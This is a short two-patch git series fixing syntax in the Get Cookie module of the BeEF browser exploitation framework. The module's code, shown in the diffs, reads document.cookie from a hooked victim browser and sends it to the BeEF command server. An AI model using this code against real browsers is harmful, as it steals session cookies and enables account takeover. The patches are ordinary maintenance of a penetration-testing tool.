From d58064443a33e923e22c6718272ea48474ce1189 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Gustav=20Bostr=C3=B6m?= Date: Mon, 6 Mar 2017 13:37:14 +0100 Subject: [PATCH 1/2] Update command.js Remove the trailing });. The Get Cookie-module stopped working for me, but works again after I remove the last line which seems lika a bug to me. I get an error "Unexpected token }" in the Chrome JavaScript-console of the hooked browser when I invoke the module from the BeeF- UI. --- modules/browser/hooked_domain/get_cookie/command.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/browser/hooked_domain/get_cookie/command.js b/modules/browser/hooked_domain/get_cookie/command.js index e1dfc586d..e6cc3bc5a 100644 --- a/modules/browser/hooked_domain/get_cookie/command.js +++ b/modules/browser/hooked_domain/get_cookie/command.js @@ -11,5 +11,5 @@ try { beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_error()); beef.debug("[Get Cookie] Error"); } -}); + From a4fb4471531dddb040eaff087a9f0b6a08f103a1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Gustav=20Bostr=C3=B6m?= Date: Mon, 6 Mar 2017 13:56:07 +0100 Subject: [PATCH 2/2] Update command.js --- modules/browser/hooked_domain/get_cookie/command.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/browser/hooked_domain/get_cookie/command.js b/modules/browser/hooked_domain/get_cookie/command.js index e6cc3bc5a..02af63dab 100644 --- a/modules/browser/hooked_domain/get_cookie/command.js +++ b/modules/browser/hooked_domain/get_cookie/command.js @@ -3,7 +3,7 @@ // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // - +beef.execute(function() { try { beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_success()); beef.debug("[Get Cookie] Cookie captured: "+document.cookie); @@ -11,5 +11,5 @@ try { beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_error()); beef.debug("[Get Cookie] Error"); } - +});